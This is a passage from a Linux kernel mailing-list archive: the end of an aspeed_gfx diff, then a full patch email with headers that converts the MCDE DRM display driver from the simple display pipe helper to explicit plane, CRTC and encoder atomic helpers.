 #include <drm/drm_probe_helper.h>
-#include <drm/drm_simple_kms_helper.h>
 #include <drm/drm_vblank.h>
 #include <drm/drm_drv.h>
 
@@ -130,7 +129,7 @@ static irqreturn_t aspeed_gfx_irq_handler(int irq, void *data)
 	reg = readl(priv->base + CRT_CTRL1);
 
 	if (reg & CRT_CTRL_VERTICAL_INTR_STS) {
-		drm_crtc_handle_vblank(&priv->pipe.crtc);
+		drm_crtc_handle_vblank(&priv->crtc);
 		writel(reg, priv->base + priv->int_clr_reg);
 		return IRQ_HANDLED;
 	}

-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Sun Jul 26 19:46:07 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Sun, 26 Jul 2026 19:46:07 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1371213.1618873 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4nX-0005zp-4V; Sun, 26 Jul 2026 19:46:07 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1371213.1618873; Sun, 26 Jul 2026 19:46:07 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wo4nX-0005zg-1P; Sun, 26 Jul 2026 19:46:07 +0000
Received: by outflank-mailman (input) for mailman id 1371213;
 Sun, 26 Jul 2026 19:46:06 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <ze.huang@oss.qualcomm.com>) id 1wo4nW-0005wI-4H
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 19:46:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wo4nV-00Bkl9-HN
 for xen-devel@lists.xenproject.org; Sun, 26 Jul 2026 21:46:05 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a6663cc-e002-0a2a0a5209dd-0a2a4502d81e-32
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:46:05 +0200
Received: from [205.220.168.131] (helo=mx0a-0031df01.pphosted.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <ze.huang@oss.qualcomm.com>)
 id 6a6663fb-6ca4-0a2a45020019-cddca883515e-3
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 21:46:05 +0200
Received: from pps.filterd (m0279865.ppops.net [127.0.0.1])
 by mx0a-0031df01.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66QH8IcX1527745
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:46:03 GMT
Received: from mail-pj1-f70.google.com (mail-pj1-f70.google.com
 [209.85.216.70])
 by mx0a-0031df01.pphosted.com (PPS) with ESMTPS id 4fmm3sbp2r-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 19:46:02 +0000 (GMT)
Received: by mail-pj1-f70.google.com with SMTP id
 98e67ed59e1d1-38e7b87ce77so5058583a91.0
 for <xen-devel@lists.xenproject.org>; Sun, 26 Jul 2026 12:46:02 -0700 (PDT)
Received: from le-cd01-lnx.qualcomm.com ([114.94.8.21])
 by smtp.gmail.com with ESMTPSA id
 98e67ed59e1d1-38f03b0eaa8sm4105998a91.8.2026.07.26.12.45.53
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Sun, 26 Jul 2026 12:46:00 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=qcppdkim1 header.d=qualcomm.com header.i="@qualcomm.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-Id:MIME-Version:References:Subject:To"; dkim=pass header.s=google header.d=oss.qualcomm.com header.i="@oss.qualcomm.com" header.h="Cc:To:In-Reply-To:References:Message-Id:Content-Transfer-Encoding:Content-Type:MIME-Version:Subject:Date:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=qualcomm.com; h=
	cc:content-transfer-encoding:content-type:date:from:in-reply-to
	:message-id:mime-version:references:subject:to; s=qcppdkim1; bh=
	SZXoBChzns6xQdNb4HgZdv4bepAswU/wjM3061XMqlo=; b=O82oYMACwKC0mT9h
	woXRMDLyHeliuxVcUGvUxVvOwEsT6m+/ZqnHT01/XQUDRllrdyST0RVM6BgSdgTb
	3WNWchYfO+bqEH6TdtwTt268lP1N7ns6aiASsHgdzdNujircUG2vLpayIV9Qjek7
	+HGxn/BRlmAEXoqWaHW3sR9Oq62wnupkx68EYs7xvm8X88W1Wzgj0xC/VIsovHzK
	nkUtYsZIKzR+zT3PxPPxvK+LvaLg5e8ar29lnKgKMI9AUdGC5TbSfyHvbSAzUzNb
	JbjO6jMgdRCaVCPbaNi5/Juwd/jQGbDJ2O0Gm5rJEsV8rsJUyLm8gwqM/B/KSUR9
	7Cgd6w==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=oss.qualcomm.com; s=google; t=1785095162; x=1785699962; darn=lists.xenproject.org;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=SZXoBChzns6xQdNb4HgZdv4bepAswU/wjM3061XMqlo=;
        b=G8vCOPyNplFi7fQt6r8ctK8OnZ7vGsqjjYuC9JcGtGldWiMO2VanVJ7FzqknnnKHoI
         Vde49Ys+Vfutpon0FqEzvcdMvE/+0iP7uBYkZ5ojK5dE2mSGn62P5WvwyixeK7T6WtzD
         ON9CrhTrNvwQBrAsYO9z4cI58hGYFY9Y3dlQTD+OmuIn7ikRzq17LN1Ift3AiUPT4TTx
         nuFWzkj8aOPg5nCNjV7KE8U3zwwlc24hF+BAGo8AxBWLCY75JGdbn9k/eFIdl2zr8zdq
         pTzeEHOAY1VVKgZGwo4Kfoyy+dSuLeKqMZgln57wGpEtLv1UZ5Db70JjaNLY5b+vmzB8
         96vQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785095162; x=1785699962;
        h=cc:to:in-reply-to:references:message-id:content-transfer-encoding
         :content-type:mime-version:subject:date:from:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=SZXoBChzns6xQdNb4HgZdv4bepAswU/wjM3061XMqlo=;
        b=sjQFZlhkyI+3eKbnzGtNcctSkNTxyNCF+b8VzhQnbmmJCBSB7kQ6sJ0gkdMVEho/Ls
         l8O/ZqeTRf5vYoFuiZJ5giiboCHLVpS4Kn3wgzV5EWvVNCWWAg+LGGelyzl1PMI9feJm
         yqf1OiPDCF52/BJtMzqhoFjvZUhAb40BOKX9t58qpH0iPIx79ARkBLHErP/KVEf5VTrM
         +Z68paby1hWtBSj6EnFFQSz/BTQnTETpoeMNynTVPxyEfNQ9Gfab8EJsGzY/S2KbgD4+
         I7RiNsp8h2aH4eLmcs+qNMmmKqJqEa2C2xqsTe3YLixT/0qWY0gb4uwjNEjnHjBDLLph
         7gRQ==
X-Forwarded-Encrypted: i=1; AHgh+Rq+0n5wei1vwLmuEq/HiigfkQUVhVqWlA+fik/z5g+Sw5nOtcT3ylRusTwekCMX8xZrGScywuiWS8Y=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyvHkRx7woS21JUQ3WnWaucxIgs6qHugJIwCuujm+jkIljGrZBf
	oAW6rjb47SY957VezXZ+7PVQxARjq1cp0vv6dV5Wqq3JbGdZkfgQ4AzchPouAMaBzi1lcvgWvW0
	wCEt7rDIZQGDge/sknYYjOm0KbcaQEWr/Lf5HtZxZHLucb2yXslKx2eJnKxECGzpsP5JR6g==
X-Gm-Gg: AR+sD101jJjMLQ0tjANcH8d+2+AYPYJ8Pi+a1wglD8n0H19AHIdN8XThN6JMghE7KHN
	jtGvBPr7N92QeALBoResG0Z+g1C9q6BFqsZlfQ7/T8vc6PfEOVYl3iOnx5T/dfbWZfZ+eQofSSg
	+aplP18qj/RJQOcQBPKU9Or7Sy037TiqGgnnluAr5DhgXvleBUwInVvh3GcIr1aJH/inY1fAYfS
	oY/KWNr9Pk+0kxgW7Tw4kkhO3R7Tvopx6ZOhYBleh/14DY/Mk6Qofp5zsh6dirHuftJMLHmdOEN
	MqjRasb4JF4AcoFoxvr9R5Rwg2bEZoG1pmP1E1jjHONLWL3rF+yvo5HObHbiADUd475tlWcnKP6
	4Rk3UNoJFO3kiQE0P2a+D
X-Received: by 2002:a17:90b:2604:b0:37f:9ce1:cda8 with SMTP id 98e67ed59e1d1-38f297802c7mr5136056a91.30.1785095161865;
        Sun, 26 Jul 2026 12:46:01 -0700 (PDT)
X-Received: by 2002:a17:90b:2604:b0:37f:9ce1:cda8 with SMTP id 98e67ed59e1d1-38f297802c7mr5136018a91.30.1785095161243;
        Sun, 26 Jul 2026 12:46:01 -0700 (PDT)
From: Ze Huang <ze.huang@oss.qualcomm.com>
Date: Mon, 27 Jul 2026 03:45:16 +0800
Subject: [PATCH v3 3/8] drm/mcde: replace struct drm_simple_display_pipe
 with regular atomic helpers
MIME-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
Message-Id: <20260727-drm-simple-kms-removal-v3-3-cd5dc89858c6@oss.qualcomm.com>
References: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
In-Reply-To: <20260727-drm-simple-kms-removal-v3-0-cd5dc89858c6@oss.qualcomm.com>
To: Alexey Brodkin <abrodkin@synopsys.com>,
        Maarten Lankhorst <maarten.lankhorst@linux.intel.com>,
        Maxime Ripard <mripard@kernel.org>,
        Thomas Zimmermann <tzimmermann@suse.de>,
        David Airlie <airlied@gmail.com>, Simona Vetter <simona@ffwll.ch>,
        Joel Stanley <joel@jms.id.au>,
        Andrew Jeffery <andrew@codeconstruct.com.au>,
        Frank Li <Frank.Li@nxp.com>, Sascha Hauer <s.hauer@pengutronix.de>,
        Pengutronix Kernel Team <kernel@pengutronix.de>,
        Fabio Estevam <festevam@gmail.com>, Linus Walleij <linusw@kernel.org>,
        Hans de Goede <hansg@kernel.org>,
        Alex Lanzano <lanzano.alex@gmail.com>,
        Oleksandr Andrushchenko <oleksandr_andrushchenko@epam.com>
Cc: dri-devel@lists.freedesktop.org, linux-kernel@vger.kernel.org,
        linux-aspeed@lists.ozlabs.org, linux-arm-kernel@lists.infradead.org,
        imx@lists.linux.dev, xen-devel@lists.xenproject.org,
        Ze Huang <ze.huang@oss.qualcomm.com>
X-Mailer: b4 0.14.3
X-Developer-Signature: v=1; a=ed25519-sha256; t=1785095128; l=15608;
 i=ze.huang@oss.qualcomm.com; s=20260716; h=from:subject:message-id;
 bh=cG5eqORbwgLjytGSt4bgAB7iRWGJSRJOK/O7QjULDRQ=;
 b=dUv1z+8IsrXCEJL6IHnCBSpQNODfXvTKqNt5CIq2WKVnxYyxmosBGI+eSjoRCN3YWUn8RIHt+
 hGEPH0SXwp+CbxHEcC0emaV04jGmPMLiA/haus+5DmswysajzWCM2NM
X-Developer-Key: i=ze.huang@oss.qualcomm.com; a=ed25519;
 pk=8uGhlZHInA8NXq7G6u/g59qEcwXwuMRI7nBSnT/ijtY=
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfX0xrjaJh7rG2U
 7c5DZ+0FE8y98IJD5IfWk7Pqlu0RJgZvZVNCcBVFDhFZ3ZIk0T7Zm03DU+DhrQ87wnt+AOIq5tQ
 gYqNontFV5Pc5LF2iuHOcYWH+Qz7mwdButZ1wo8K6HumY8WTzxcu1Q/IkHV6/sxMBBe7HnBZ9fc
 q3NkseIaZfWt0+rhZOGgRIhN94maAxj+y+GERkb0Vef8IfpIE7ShsS0OihR5NWxo7IoHhCZ5b+J
 lPdQ2isjcJ/xsGOB0i5+cg+3hpyGbfYuOtvnQasktq6glWki2WJXW0RAxunp389rfsJB9Gw2EWE
 U5+tm+/WCHg15sUShE4rTqAXVFnzEjDrPzmylgGDKFZ+Au0lAnipdwOcqEz267FEGqg+D+ltUUO
 JfoPzaIDC8vPuK9MPUbhpGjF3i2uDSZutcfu79Belav565VDCsaKQRHucbWZYEKjQ2zqaKU83hZ
 IbiurFJmqeVOZPY/SAA==
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI2MDIwMCBTYWx0ZWRfX+5gPvo/OfxmQ
 xahhuLYGE47cpV/UTsTeqNSmbJRoT5nqYCyutHQIW+POZnLtWoDft/W2IYySNUDLkmsOfCtRMpK
 pfkK86mJQchIX2ju/dy0FrxglbcVxpo=
X-Proofpoint-ORIG-GUID: 1-N1iiWn0mgzCnxzCWx7f94bgupmZ16U
X-Proofpoint-GUID: 1-N1iiWn0mgzCnxzCWx7f94bgupmZ16U
X-Authority-Analysis: v=2.4 cv=KanidwYD c=1 sm=1 tr=0 ts=6a6663fa cx=c_pps
 a=0uOsjrqzRL749jD1oC5vDA==:117 a=Uz3yg00KUFJ2y2WijEJ4bw==:17
 a=IkcTkHD0fZMA:10 a=RAioF0-LDSMA:10 a=s4-Qcg_JpJYA:10
 a=VkNPw1HP01LnGYTKEx00:22 a=u7WPNUs3qKkmUXheDGA7:22 a=Um2Pa8k9VHT-vaBCBUpS:22
 a=EUspDBNiAAAA:8 a=CXBmYrQIWaHMVGb9AFMA:9 a=QEXdDO2ut3YA:10
 a=mQ_c8vxmzFEMiUWkPHU9:22
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-26_05,2026-07-24_02,2025-10-01_01
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 impostorscore=0 suspectscore=0 clxscore=1015 priorityscore=1501 phishscore=0
 bulkscore=0 malwarescore=0 lowpriorityscore=0 adultscore=0 spamscore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607260200
X-purgate-ID: tlsNG-720697/1785095165-F3CBA2AC-082AF708/0/0
X-purgate-type: clean
X-purgate-size: 15610

Convert MCDE to explicit plane, CRTC and encoder objects.

Handle pending page-flip events from the CRTC atomic flush path using the
commit-local CRTC state, and avoid manual connector/encoder attachment
before the connector has been created by the bridge path.

Signed-off-by: Ze Huang <ze.huang@oss.qualcomm.com>

---
Changes in v3:
- Move the one-shot flow start to CRTC atomic_flush(), after pending event
  handling.
- Move the MCDE container helper to the header as static inline.
---
 drivers/gpu/drm/mcde/mcde_display.c | 248 +++++++++++++++++++++++-------------
 drivers/gpu/drm/mcde/mcde_drm.h     |  12 +-
 drivers/gpu/drm/mcde/mcde_drv.c     |   3 +-
 3 files changed, 172 insertions(+), 91 deletions(-)

diff --git a/drivers/gpu/drm/mcde/mcde_display.c b/drivers/gpu/drm/mcde/mcde_display.c
index 257a6e84dd58..50c90cf84a9a 100644
--- a/drivers/gpu/drm/mcde/mcde_display.c
+++ b/drivers/gpu/drm/mcde/mcde_display.c
@@ -10,6 +10,7 @@
 #include <linux/regulator/consumer.h>
 #include <linux/media-bus-format.h>
 
+#include <drm/drm_atomic_helper.h>
 #include <drm/drm_device.h>
 #include <drm/drm_fb_dma_helper.h>
 #include <drm/drm_fourcc.h>
@@ -18,7 +19,6 @@
 #include <drm/drm_gem_dma_helper.h>
 #include <drm/drm_mipi_dsi.h>
 #include <drm/drm_print.h>
-#include <drm/drm_simple_kms_helper.h>
 #include <drm/drm_bridge.h>
 #include <drm/drm_vblank.h>
 #include <video/mipi_display.h>
@@ -132,7 +132,7 @@ void mcde_display_irq(struct mcde *mcde)
 	writel(mispp, mcde->regs + MCDE_RISPP);
 
 	if (vblank)
-		drm_crtc_handle_vblank(&mcde->pipe.crtc);
+		drm_crtc_handle_vblank(&mcde->crtc);
 
 	if (misovl)
 		dev_info(mcde->dev, "some stray overlay IRQ %08x\n", misovl);
@@ -157,40 +157,59 @@ void mcde_display_disable_irqs(struct mcde *mcde)
 	writel(0xFFFFFFFF, mcde->regs + MCDE_RISCHNL);
 }
 
-static int mcde_display_check(struct drm_simple_display_pipe *pipe,
-			      struct drm_plane_state *pstate,
-			      struct drm_crtc_state *cstate)
+static int mcde_plane_helper_atomic_check(struct drm_plane *plane,
+					  struct drm_atomic_commit *commit)
 {
-	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *old_fb = pipe->plane.state->fb;
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
+	struct drm_plane_state *old_pstate = drm_atomic_get_old_plane_state(commit, plane);
+	struct drm_crtc_state *cstate = NULL;
+	const struct drm_display_mode *mode;
+	struct drm_framebuffer *old_fb = old_pstate->fb;
 	struct drm_framebuffer *fb = pstate->fb;
+	int ret;
 
-	if (fb) {
-		u32 offset = drm_fb_dma_get_gem_addr(fb, pstate, 0);
+	if (pstate->crtc) {
+		cstate = drm_atomic_get_crtc_state(commit, pstate->crtc);
+		if (IS_ERR(cstate))
+			return PTR_ERR(cstate);
+	}
 
-		/* FB base address must be dword aligned. */
-		if (offset & 3) {
-			DRM_DEBUG_KMS("FB not 32-bit aligned\n");
-			return -EINVAL;
-		}
+	ret = drm_atomic_helper_check_plane_state(pstate, cstate,
+						  DRM_PLANE_NO_SCALING,
+						  DRM_PLANE_NO_SCALING,
+						  false, false);
+	if (ret)
+		return ret;
 
-		/*
-		 * There's no pitch register, the mode's hdisplay
-		 * controls this.
-		 */
-		if (fb->pitches[0] != mode->hdisplay * fb->format->cpp[0]) {
-			DRM_DEBUG_KMS("can't handle pitches\n");
-			return -EINVAL;
-		}
+	if (!pstate->visible || !fb)
+		return 0;
 
-		/*
-		 * We can't change the FB format in a flicker-free
-		 * manner (and only update it during CRTC enable).
-		 */
-		if (old_fb && old_fb->format != fb->format)
-			cstate->mode_changed = true;
+	mode = &cstate->mode;
+
+	u32 offset = drm_fb_dma_get_gem_addr(fb, pstate, 0);
+
+	/* FB base address must be dword aligned. */
+	if (offset & 3) {
+		DRM_DEBUG_KMS("FB not 32-bit aligned\n");
+		return -EINVAL;
 	}
 
+	/*
+	 * There's no pitch register, the mode's hdisplay
+	 * controls this.
+	 */
+	if (fb->pitches[0] != mode->hdisplay * fb->format->cpp[0]) {
+		DRM_DEBUG_KMS("can't handle pitches\n");
+		return -EINVAL;
+	}
+
+	/*
+	 * We can't change the FB format in a flicker-free
+	 * manner (and only update it during CRTC enable).
+	 */
+	if (old_fb && old_fb->format != fb->format)
+		cstate->mode_changed = true;
+
 	return 0;
 }
 
@@ -1149,16 +1168,15 @@ static void mcde_setup_dsi(struct mcde *mcde, const struct drm_display_mode *mod
 	*dsi_formatter_frame = formatter_frame;
 }
 
-static void mcde_display_enable(struct drm_simple_display_pipe *pipe,
-				struct drm_crtc_state *cstate,
-				struct drm_plane_state *plane_state)
+static void mcde_crtc_helper_atomic_enable(struct drm_crtc *crtc,
+					   struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_plane *plane = &pipe->plane;
 	struct drm_device *drm = crtc->dev;
 	struct mcde *mcde = to_mcde(drm);
+	struct drm_crtc_state *cstate = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, &mcde->plane);
 	const struct drm_display_mode *mode = &cstate->mode;
-	struct drm_framebuffer *fb = plane->state->fb;
+	struct drm_framebuffer *fb = plane_state->fb;
 	u32 format = fb->format->format;
 	int dsi_pkt_size;
 	int fifo_wtrmrk;
@@ -1298,9 +1316,10 @@ static void mcde_display_enable(struct drm_simple_display_pipe *pipe,
 	dev_info(drm->dev, "MCDE display is enabled\n");
 }
 
-static void mcde_display_disable(struct drm_simple_display_pipe *pipe)
+static void mcde_crtc_helper_atomic_disable(struct drm_crtc *crtc,
+					    struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
+	struct drm_crtc_state *cstate = drm_atomic_get_new_crtc_state(commit, crtc);
 	struct drm_device *drm = crtc->dev;
 	struct mcde *mcde = to_mcde(drm);
 	struct drm_pending_vblank_event *event;
@@ -1318,9 +1337,9 @@ static void mcde_display_disable(struct drm_simple_display_pipe *pipe)
 		mcde_dsi_disable(mcde->bridge);
 	}
 
-	event = crtc->state->event;
+	event = cstate->event;
 	if (event) {
-		crtc->state->event = NULL;
+		cstate->event = NULL;
 
 		spin_lock_irq(&crtc->dev->event_lock);
 		drm_crtc_send_vblank_event(crtc, event);
@@ -1381,24 +1400,46 @@ static void mcde_set_extsrc(struct mcde *mcde, u32 buffer_address)
 	writel(buffer_address + mcde->stride, mcde->regs + MCDE_EXTSRCXA1);
 }
 
-static void mcde_display_update(struct drm_simple_display_pipe *pipe,
-				struct drm_plane_state *old_pstate)
+static void mcde_plane_helper_atomic_update(struct drm_plane *plane,
+					    struct drm_atomic_commit *commit)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
-	struct drm_device *drm = crtc->dev;
-	struct mcde *mcde = to_mcde(drm);
-	struct drm_pending_vblank_event *event = crtc->state->event;
-	struct drm_plane *plane = &pipe->plane;
-	struct drm_plane_state *pstate = plane->state;
+	struct drm_plane_state *pstate = drm_atomic_get_new_plane_state(commit, plane);
+	struct mcde *mcde = to_mcde(plane->dev);
 	struct drm_framebuffer *fb = pstate->fb;
 
+	/*
+	 * We do not start sending framebuffer updates before the
+	 * display is enabled. Update events will however be dispatched
+	 * from the DRM core before the display is enabled.
+	 */
+	if (fb) {
+		mcde_set_extsrc(mcde, drm_fb_dma_get_gem_addr(fb, pstate, 0));
+		dev_info_once(mcde->dev, "first update of display contents\n");
+	} else {
+		/*
+		 * If an update is receieved before the MCDE is enabled
+		 * (before mcde_display_enable() is called) we can't really
+		 * do much with that buffer.
+		 */
+		dev_info(mcde->dev, "ignored a display update\n");
+	}
+}
+
+static void mcde_crtc_helper_atomic_flush(struct drm_crtc *crtc,
+					  struct drm_atomic_commit *commit)
+{
+	struct mcde *mcde = to_mcde(crtc->dev);
+	struct drm_plane_state *plane_state = drm_atomic_get_new_plane_state(commit, &mcde->plane);
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	struct drm_pending_vblank_event *event = crtc_state->event;
+
 	/*
 	 * Handle any pending event first, we need to arm the vblank
 	 * interrupt before sending any update to the display so we don't
 	 * miss the interrupt.
 	 */
 	if (event) {
-		crtc->state->event = NULL;
+		crtc_state->event = NULL;
 
 		spin_lock_irq(&crtc->dev->event_lock);
 		/*
@@ -1408,7 +1449,7 @@ static void mcde_display_update(struct drm_simple_display_pipe *pipe,
 		 * until we get an update. If MCDE output isn't yet enabled,
 		 * we just send a vblank dummy event back.
 		 */
-		if (crtc->state->active && drm_crtc_vblank_get(crtc) == 0) {
+		if (crtc_state->active && drm_crtc_vblank_get(crtc) == 0) {
 			dev_dbg(mcde->dev, "arm vblank event\n");
 			drm_crtc_arm_vblank_event(crtc, event);
 		} else {
@@ -1419,33 +1460,12 @@ static void mcde_display_update(struct drm_simple_display_pipe *pipe,
 		spin_unlock_irq(&crtc->dev->event_lock);
 	}
 
-	/*
-	 * We do not start sending framebuffer updates before the
-	 * display is enabled. Update events will however be dispatched
-	 * from the DRM core before the display is enabled.
-	 */
-	if (fb) {
-		mcde_set_extsrc(mcde, drm_fb_dma_get_gem_addr(fb, pstate, 0));
-		dev_info_once(mcde->dev, "first update of display contents\n");
-		/*
-		 * Usually the flow is already active, unless we are in
-		 * oneshot mode, then we need to kick the flow right here.
-		 */
-		if (mcde->flow_active == 0)
-			mcde_start_flow(mcde);
-	} else {
-		/*
-		 * If an update is receieved before the MCDE is enabled
-		 * (before mcde_display_enable() is called) we can't really
-		 * do much with that buffer.
-		 */
-		dev_info(mcde->dev, "ignored a display update\n");
-	}
+	if (crtc_state->active && plane_state && plane_state->fb && mcde->flow_active == 0)
+		mcde_start_flow(mcde);
 }
 
-static int mcde_display_enable_vblank(struct drm_simple_display_pipe *pipe)
+static int mcde_crtc_enable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct mcde *mcde = to_mcde(drm);
 	u32 val;
@@ -1462,9 +1482,8 @@ static int mcde_display_enable_vblank(struct drm_simple_display_pipe *pipe)
 	return 0;
 }
 
-static void mcde_display_disable_vblank(struct drm_simple_display_pipe *pipe)
+static void mcde_crtc_disable_vblank(struct drm_crtc *crtc)
 {
-	struct drm_crtc *crtc = &pipe->crtc;
 	struct drm_device *drm = crtc->dev;
 	struct mcde *mcde = to_mcde(drm);
 
@@ -1474,13 +1493,55 @@ static void mcde_display_disable_vblank(struct drm_simple_display_pipe *pipe)
 	writel(0xFFFFFFFF, mcde->regs + MCDE_RISPP);
 }
 
-static struct drm_simple_display_pipe_funcs mcde_display_funcs = {
-	.check = mcde_display_check,
-	.enable = mcde_display_enable,
-	.disable = mcde_display_disable,
-	.update = mcde_display_update,
-	.enable_vblank = mcde_display_enable_vblank,
-	.disable_vblank = mcde_display_disable_vblank,
+static int mcde_crtc_helper_atomic_check(struct drm_crtc *crtc, struct drm_atomic_commit *commit)
+{
+	struct drm_crtc_state *crtc_state = drm_atomic_get_new_crtc_state(commit, crtc);
+	int ret;
+
+	if (crtc_state->enable) {
+		ret = drm_atomic_helper_check_crtc_primary_plane(crtc_state);
+		if (ret)
+			return ret;
+	}
+
+	return drm_atomic_add_affected_planes(commit, crtc);
+}
+
+static const struct drm_crtc_funcs mcde_crtc_funcs = {
+	.reset			= drm_atomic_helper_crtc_reset,
+	.destroy		= drm_crtc_cleanup,
+	.set_config		= drm_atomic_helper_set_config,
+	.page_flip		= drm_atomic_helper_page_flip,
+	.atomic_duplicate_state	= drm_atomic_helper_crtc_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_crtc_destroy_state,
+	.enable_vblank		= mcde_crtc_enable_vblank,
+	.disable_vblank		= mcde_crtc_disable_vblank,
+};
+
+static const struct drm_crtc_helper_funcs mcde_crtc_helper_funcs = {
+	.atomic_check	= mcde_crtc_helper_atomic_check,
+	.atomic_enable	= mcde_crtc_helper_atomic_enable,
+	.atomic_disable	= mcde_crtc_helper_atomic_disable,
+	.atomic_flush	= mcde_crtc_helper_atomic_flush,
+};
+
+static const struct drm_plane_funcs mcde_plane_funcs = {
+	.update_plane		= drm_atomic_helper_update_plane,
+	.disable_plane		= drm_atomic_helper_disable_plane,
+	.reset			= drm_atomic_helper_plane_reset,
+	.destroy		= drm_plane_cleanup,
+	.atomic_duplicate_state	= drm_atomic_helper_plane_duplicate_state,
+	.atomic_destroy_state	= drm_atomic_helper_plane_destroy_state,
+};
+
+static const struct drm_plane_helper_funcs mcde_plane_helper_funcs = {
+	.prepare_fb	= drm_gem_plane_helper_prepare_fb,
+	.atomic_check	= mcde_plane_helper_atomic_check,
+	.atomic_update	= mcde_plane_helper_atomic_update,
+};
+
+static const struct drm_encoder_funcs mcde_encoder_funcs = {
+	.destroy = drm_encoder_cleanup,
 };
 
 int mcde_display_init(struct drm_device *drm)
@@ -1510,14 +1571,29 @@ int mcde_display_init(struct drm_device *drm)
 	if (ret)
 		return ret;
 
-	ret = drm_simple_display_pipe_init(drm, &mcde->pipe,
-					   &mcde_display_funcs,
-					   formats, ARRAY_SIZE(formats),
-					   NULL,
-					   mcde->connector);
+	ret = drm_universal_plane_init(drm, &mcde->plane, 0,
+				       &mcde_plane_funcs,
+				       formats, ARRAY_SIZE(formats),
+				       NULL, DRM_PLANE_TYPE_PRIMARY, NULL);
+	if (ret)
+		return ret;
+
+	drm_plane_helper_add(&mcde->plane, &mcde_plane_helper_funcs);
+
+	ret = drm_crtc_init_with_planes(drm, &mcde->crtc, &mcde->plane,
+					NULL, &mcde_crtc_funcs, NULL);
 	if (ret)
 		return ret;
 
+	drm_crtc_helper_add(&mcde->crtc, &mcde_crtc_helper_funcs);
+
+	ret = drm_encoder_init(drm, &mcde->encoder, &mcde_encoder_funcs,
+			       DRM_MODE_ENCODER_NONE, NULL);
+	if (ret)
+		return ret;
+
+	mcde->encoder.possible_crtcs = drm_crtc_mask(&mcde->crtc);
+
 	return 0;
 }
 EXPORT_SYMBOL_GPL(mcde_display_init);
diff --git a/drivers/gpu/drm/mcde/mcde_drm.h b/drivers/gpu/drm/mcde/mcde_drm.h
index ecb70b4b737c..edbb4580a7d8 100644
--- a/drivers/gpu/drm/mcde/mcde_drm.h
+++ b/drivers/gpu/drm/mcde/mcde_drm.h
@@ -4,7 +4,7 @@
  * Parts of this file were based on the MCDE driver by Marcus Lorentzon
  * (C) ST-Ericsson SA 2013
  */
